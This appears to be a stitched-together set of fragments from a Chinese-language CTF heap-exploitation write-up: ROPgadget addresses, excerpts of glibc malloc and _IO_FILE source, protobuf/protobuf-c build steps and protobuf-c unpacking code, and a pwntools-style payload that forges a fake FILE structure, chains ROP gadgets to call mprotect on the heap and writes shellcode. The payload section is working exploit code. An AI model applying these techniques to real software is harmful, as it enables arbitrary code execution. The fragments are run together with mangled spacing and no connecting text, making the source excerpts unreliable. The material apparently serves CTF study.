# ROPgadget rdi = 0x4a18a5#0x00000000004a18a5 : pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret rsi = 0x42138a#0x000000000042138a : pop rsi ; ret rax = 0x40f984#0x000000000040f984 : pop rax ; ret rdx = 0x4944ec#0x00000000004944ec : pop rdx ; ret ret = 0x40201a#0x000000000040201a : ret syscall = 0x4616C9#0x00000000004616C9 : syscall ; ret
/* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks;//glibc-2.27新加的一个成员
/* Fastbins */ mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top;
/* The remainder from the most recent split of a small request */ mchunkptr last_remainder;
/* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins , help to speed up the process of determinating if a given bin is definitely empty */ unsignedint binmap[BINMAPSIZE];
/* Linked list */ structmalloc_state* next;
/* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ structmalloc_state* next_free;
/* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; };
//更细致的检查,只在-DMALLOC_DEBUG时使用 check_remalloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) { if (SINGLE_THREAD_P) *fb = tc_victim->fd; else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break; } tcache_put (tc_victim, tc_idx); } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } // 对应的fastbin为空,检查smallbin }
# 安装 protobuf cd ~ # 切换到一个合适的位置 git clone https://github.com/protocolbuffers/protobuf.git cd protobuf git checkout v3.21.0 # 试过v27.0,protobuf-c装不上,所以用v3.21.0 git submodule update --init --recursive # 安装子模块 ./autogen.sh #生成配置脚本 ./configure # 可选 --prefix=path ,默认路径为/usr/local/ make -j 4 sudo make install sudo ldconfig # refresh shared library cache which protoc # find the location protoc --version # check
# 安装 protobuf-c cd ~ # 切换到一个合适的位置 git clone https://github.com/protobuf-c/protobuf-c.git cd protobuf-c ./autogen.sh ./configure make -j 4 sudo make install
# 安装python的protobuf支持 pip install protobuf
# 如果之后在使用中出现 # ImportError: cannot import name 'builder' from 'google.protobuf.internal' # 先执行一下,一般都能解决问题 pip install --upgrade protobuf
/** * Describes a message. */ structProtobufCMessageDescriptor { /** Magic value checked to ensure that the API is used correctly. */ uint32_t magic;
/** The qualified name (e.g., "namespace.Type"). */ constchar *name; /** The unqualified name as given in the .proto file (e.g., "Type"). */ constchar *short_name; /** Identifier used in generated C code. */ constchar *c_name; /** The dot-separated namespace. */ constchar *package_name;
/** * Size in bytes of the C structure representing an instance of this * type of message. */ size_t sizeof_message;
/** Number of elements in `fields`. */ unsigned n_fields; /** Field descriptors, sorted by tag number. */ const ProtobufCFieldDescriptor *fields; /** Used for looking up fields by name. */ constunsigned *fields_sorted_by_name;
/** Number of elements in `field_ranges`. */ unsigned n_field_ranges; /** Used for looking up fields by id. */ const ProtobufCIntRange *field_ranges;
structProtobufCFieldDescriptor { /** Name of the field as given in the .proto file. */ constchar *name; /** Tag value of the field as given in the .proto file. */ uint32_t id; /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */ ProtobufCLabel label; /** The type of the field. */ ProtobufCType type; /** * The offset in bytes of the message's C structure's quantifier field * (the `has_MEMBER` field for optional members or the `n_MEMBER` field * for repeated members or the case enum for oneofs). */ unsigned quantifier_offset; /** * The offset in bytes into the message's C structure for the member * itself. */ unsigned offset; /** * A type-specific descriptor. * * If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the * corresponding `ProtobufCEnumDescriptor`. * * If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to * the corresponding `ProtobufCMessageDescriptor`. * * Otherwise this field is NULL. */ constvoid *descriptor; /* for MESSAGE and ENUM types */ /** The default value for this field, if defined. May be NULL. */ constvoid *default_value; /** * A flag word. Zero or more of the bits defined in the * `ProtobufCFieldFlag` enum may be set. */ uint32_t flags; /** Reserved for future use. */ unsigned reserved_flags; /** Reserved for future use. */ void *reserved2; /** Reserved for future use. */ void *reserved3; };
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: heybro.proto """Generated protocol buffer code.""" from google.protobuf.internal import builder as _builder from google.protobuf import descriptor as _descriptor from google.protobuf import descriptor_pool as _descriptor_pool from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports)
/* * scanned_member_slabs[i] is an array of arrays of ScannedMember. * The first slab (scanned_member_slabs[0] is just a pointer to * first_member_slab), above. All subsequent slabs will be allocated * using the allocator. */ ScannedMember *scanned_member_slabs[MAX_SCANNED_MEMBER_SLAB + 1]; unsigned which_slab = 0; /* the slab we are currently populating */ unsigned in_slab_index = 0; /* number of members in the slab */ size_t n_unknown = 0; unsigned f; unsigned j; unsigned i_slab; unsigned last_field_index = 0; unsigned required_fields_bitmap_len; unsignedchar required_fields_bitmap_stack[16]; unsignedchar *required_fields_bitmap = required_fields_bitmap_stack; protobuf_c_boolean required_fields_bitmap_alloced = FALSE;
ASSERT_IS_MESSAGE_DESCRIPTOR(desc);
if (allocator == NULL) allocator = &protobuf_c__allocator;
/* * Generated code always defines "message_init". However, we provide a * fallback for (1) users of old protobuf-c generated-code that do not * provide the function, and (2) descriptors constructed from some other * source (most likely, direct construction from the .proto file). */ if (desc->message_init != NULL) protobuf_c_message_init(desc, rv); else message_init_generic(desc, rv);
switch (wire_type) { case PROTOBUF_C_WIRE_TYPE_VARINT: { unsigned max_len = rem < 10 ? rem : 10; unsigned i;
for (i = 0; i < max_len; i++) if ((at[i] & 0x80) == 0) break; if (i == max_len) { PROTOBUF_C_UNPACK_ERROR("unterminated varint at offset %u", (unsigned) (at - data)); goto error_cleanup_during_scan; } tmp.len = i + 1; break; } case PROTOBUF_C_WIRE_TYPE_64BIT: if (rem < 8) { PROTOBUF_C_UNPACK_ERROR("too short after 64bit wiretype at offset %u", (unsigned) (at - data)); goto error_cleanup_during_scan; } tmp.len = 8; break; case PROTOBUF_C_WIRE_TYPE_LENGTH_PREFIXED: { size_t pref_len;
tmp.len = scan_length_prefixed_data(rem, at, &pref_len); if (tmp.len == 0) { /* NOTE: scan_length_prefixed_data calls UNPACK_ERROR */ goto error_cleanup_during_scan; } tmp.length_prefix_len = pref_len; break; } case PROTOBUF_C_WIRE_TYPE_32BIT: if (rem < 4) { PROTOBUF_C_UNPACK_ERROR("too short after 32bit wiretype at offset %u", (unsigned) (at - data)); goto error_cleanup_during_scan; } tmp.len = 4; break; default: PROTOBUF_C_UNPACK_ERROR("unsupported tag %u at offset %u", wire_type, (unsigned) (at - data)); goto error_cleanup_during_scan; }
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
data += b"\x00" * 0xe0 data += p64(fake_IO_FILE + 0x200) data = data.ljust(0x200, b"\x00")
data += b"\x00" * 0x68 data += p64(libc_base + 0x15d48a) data = data.ljust(0x280, b"\x00")
data += p64(fake_IO_FILE + 0x2a0) data += p64(0) data += p64(libc_base + 0x162f64) data = data.ljust(0x2a0, b"\x00")
data += p64(0) data += p64(fake_IO_FILE + 0x2e0) data += p64(libc_base + 0x167420) + b"\x00"*0x20 data += p64(fake_IO_FILE + 0x2a0) data = data.ljust(0x2e0, b"\x00")
data += p64(libc_base + 0xd2ba5)+0x18*b"\x00" data += p64(libc_base + 0x5a120)+0x8*b"\x00"# mov_rsp_rdx
data += p64(libc_base + 0x2a3e5) # pop_rdi data += p64(heap_base) data += p64(libc_base + 0x2be51) # pop_rsi data += p64(0x10000) data += p64(libc_base + 0x904a9) # pop_rdx_rbx data += p64(7) data += p64(0) data += p64(libc_base + libc.sym['mprotect']) data += p64(heap_base + 0x3000)
data = data.ljust(0x360,b'\x00') edit(2,0x500,b'a'*0x1a0+data) edit(4,0x100,shellcode)